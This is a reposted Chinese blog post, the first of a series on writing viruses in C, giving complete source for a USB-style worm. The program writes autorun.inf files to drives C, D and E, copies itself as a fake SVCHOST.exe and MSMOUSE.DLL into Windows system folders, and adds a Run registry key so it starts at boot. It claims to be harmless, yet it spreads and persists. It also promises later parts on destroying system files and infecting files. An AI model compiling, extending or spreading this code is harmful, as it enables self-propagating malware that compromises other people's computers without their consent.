代码改变世界

[转载]用C写病毒(1)

2007-08-01 17:50  Virus-BeautyCode  阅读(1562)  评论(3编辑  收藏  举报

本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你

可以在技术范围及法律范围内扩充实验.
在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.

连载1——最基本的病毒.
本病毒的功能:
1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件
2.在C、D、E盘中生成自动运行文件
3.注册c:\windows\system\svchost.exe,使其开机自动运行
4.在C:\windows\system下生成隐蔽DLL文件
5.病毒在执行后具有相联复制能力

本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。

以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究


/* SVCHOST.C   */
/* SVCHOST.EXE */

#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";

int copy(char *infile,char *outfile)
{
    FILE *input,*output;
    char temp;
    if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen

(outfile,"wb"))!=NULL))
    {
      while(!feof(input))
      {
        fread(&temp,1,1,input);
        fwrite(&temp,1,1,output);
      }
      fclose(input);
      fclose(output);
      return 0;
    }
    else return 1;
}
int main(void)
{
    FILE *input,*output;
    int i,k;
    for(i=0;i<3;i++)
    {
      output=fopen(files_autorun[i],"w");
      fprintf(output,"%s",autorun);
      fclose(output);
    }
    for(i=0;i<=SVCHOST_NUM;i++)
    {
      if((input=fopen(files_svchost[i],"rb"))!=NULL)
      {
        fclose(input);
        for(k=0;k<SVCHOST_NUM;k++)
        {
          copy(files_svchost[i],files_svchost[k]);
        }
        i=SVCHOST_NUM+1;
      }
    }
    system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
    return 0;
}

在连载2中你将看到:
病毒对系统文件破坏的方法,病毒对文件的感染,病毒生成垃圾文件,病毒更具隐蔽性的方法。